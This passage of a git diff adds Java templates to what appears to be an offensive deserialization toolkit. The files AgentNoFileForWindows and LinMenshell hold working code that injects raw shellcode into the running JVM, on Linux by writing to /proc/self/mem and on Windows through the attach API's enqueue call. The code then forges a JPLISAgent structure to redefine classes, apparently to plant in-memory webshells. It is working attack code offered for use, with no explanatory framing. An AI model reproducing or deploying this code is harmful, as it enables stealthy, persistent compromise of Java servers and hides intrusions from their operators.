Short.reverseBytes(fin.readShort()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); + if (st_value == 0 + || st_name == 0 + || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { + continue; + } + + fin.seek(symstr_shdr_sh_offset + st_name); + String name = ""; + byte ch = 0; + while ((ch = fin.readByte()) != 0) { + name += (char) ch; + } + + if (sym.equals(name)) { + func_ptr = libbase + st_value; + break; + } + } + + fin.close(); + return func_ptr; + } + + public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className, false, Thread.currentThread().getContextClassLoader()), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", new Class[]{ClassDefinition[].class}); + redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); + } catch (Throwable error) { + error.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java new file mode 100644 index 0000000..8ca8b92 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForWindows.java @@ -0,0 +1,151 @@ +package com.qi4l.JYso.template.Agent; + +import sun.misc.Unsafe; + +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.HashMap; +import java.util.Map; + +public class AgentNoFileForWindows { + public static Map MAP = new HashMap(); + + // public static int pointerLength = Long.SIZE / Byte.SIZE; + public static int pointerLength = System.getProperty("os.arch").contains("x86") ? 4 : 8; + + public static Unsafe unsafe = getUnsafe(); + + public static sun.misc.Unsafe getUnsafe() { + sun.misc.Unsafe unsafe = null; + try { + if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) { + unsafe = sun.misc.Unsafe.getUnsafe(); + } + } catch (ClassNotFoundException ignored) { + } + + if (unsafe == null) { + try { + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafeField.get(null); + } catch (Exception ignored) { + } + } + + return unsafe; + } + + public static void redefineClasses(String className, byte[] classBody) throws Exception { + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + + byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; + byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; + if (pointerLength == 4) { + buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; + stub = new byte[]{0x44, 0x43, 0x42, 0x41}; + } + buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength)); + classBody[7] = 0x32; + + Class windowsVirtualMachine; + System.loadLibrary("attach"); + try { + windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine"); + } catch (ClassNotFoundException e) { + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16}; + ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + windowsVirtualMachine = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + } + + Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class); + method.setAccessible(true); + method.invoke(null, -1, buf, "enqueue", "enqueue", null); + + long native_jvmtienv = unsafe.getLong(JPLISAgent + pointerLength); + if (pointerLength == 4) { + unsafe.putByte(native_jvmtienv + 201, (byte) 2); + } else { + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + } + + redefineClasses(className, classBody, JPLISAgent); + } + + /** + * long 转字节数组,小端 + */ + public static byte[] long2ByteArray_Little_Endian(long l, int length) { + byte[] array = new byte[length]; + for (int i = 0; i < array.length; i++) { + array[i] = (byte) (l >> (i * 8)); + } + return array; + } + + private static byte[] replaceBytes(byte[] bytes, byte[] byteSource, byte[] byteTarget) { + for (int i = 0; i < bytes.length; i++) { + boolean bl = true;//从当前下标开始的字节是否与欲替换字节相等; + for (int j = 0; j < byteSource.length; j++) { + if (i + j < bytes.length && bytes[i + j] == byteSource[j]) { + } else { + bl = false; + } + } + if (bl) { + System.arraycopy(byteTarget, 0, bytes, i, byteTarget.length); + } + } + return bytes; + } + + public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); + } catch (Throwable error) { + error.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java b/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java new file mode 100644 index 0000000..0b58cf8 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java @@ -0,0 +1,234 @@ +package com.qi4l.JYso.template.Agent; + +import sun.misc.Unsafe; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class LinMenshell { + + private static final int SHT_DYNSYM = 11; + private static final int STT_FUNC = 2; + private static final int STT_GNU_IFUNC = 10; + public static String className; + public static byte[] classBody; + private LinMenshell() throws Exception { + + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); + field1.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); + field1.setBoolean(null, true); + + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + while ((line = reader.readLine()) != null) { + String[] splits = line.trim().split(" "); + if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); + } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); + } + + if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0) + break; + } + fin.close(); + + //修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv + RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw"); + //RSP 16字节对齐 + byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; + + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES); + buffer.order(ByteOrder.LITTLE_ENDIAN); + buffer.putLong(0, JNI_GetCreatedJavaVMs); + + byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48, + (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10, + (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, + 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; + + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; + + byte[] backup = new byte[shellcode_len]; + fout.seek(landingpad); + fout.read(backup); + + + fout.seek(landingpad); + fout.write(stack_align); + fout.write(movabs_rax); + fout.write(buffer.array()); + fout.write(b); + fout.close(); + + + long native_jvmtienv = fout.length(); //触发执行 + System.out.printf("native_jvmtienv %x\n", native_jvmtienv); + + //恢复代码 + fout = new RandomAccessFile("/proc/self/mem", "rw"); + fout.seek(RandomAccessFile_length); + fout.write(backup); + fout.close(); + + Unsafe unsafe = null; + try { + Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception e) { + throw new AssertionError(e); + } + //libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 ) + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + unsafe.putLong(JPLISAgent + 8, native_jvmtienv); + //利用伪造的JPLISAgent结构实例化InstrumentationImpl + try { + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + constructor.setAccessible(true); + Object inst = constructor.newInstance(JPLISAgent, true, false); + + + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + redefineClazz.invoke(inst, new Object[]{ + new ClassDefinition[]{ + definition + } + }); + } catch (Exception e) { + e.printStackTrace(); + } + fout.getFD(); + + } + + private static int ELF_ST_TYPE(int x) { + return (x & 0xf); + } + + static long find_symbol(String elfpath, String sym, long libbase) throws IOException { + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + + byte[] e_ident = new byte[16]; + fin.read(e_ident); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_phentsize = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); + short e_shentsize = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); + + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; + long sh_addralign = 0; + long sh_entsize = 0; + + for (int i = 0; i < e_shnum; ++i) { + fin.seek(e_shoff + i * 64); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + if (sh_type == SHT_DYNSYM) { + break; + } + } + + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; + long symtab_shdr_sh_entsize = sh_entsize; + long symtab_shdr_sh_offset = sh_offset; + + fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + + long symstr_shdr_sh_offset = sh_offset; + + long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; + for (long i = 0; i < cnt; ++i) { + fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); + short st_shndx = Short.reverseBytes(fin.readShort()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); + if (st_value == 0 + || st_name == 0 + || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { + continue; + } + + fin.seek(symstr_shdr_sh_offset + st_name); + String name = ""; + byte ch = 0; + while ((ch = fin.readByte()) != 0) { + name += (char) ch; + } + + if (sym.equals(name)) { + func_ptr = libbase + st_value; + break; + } + } + + fin.close(); + + return func_ptr; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java b/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java new file mode 100644 index 0000000..1626eb7 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java @@ -0,0 +1,111 @@ +package com.qi4l.JYso.template.Agent; + +import 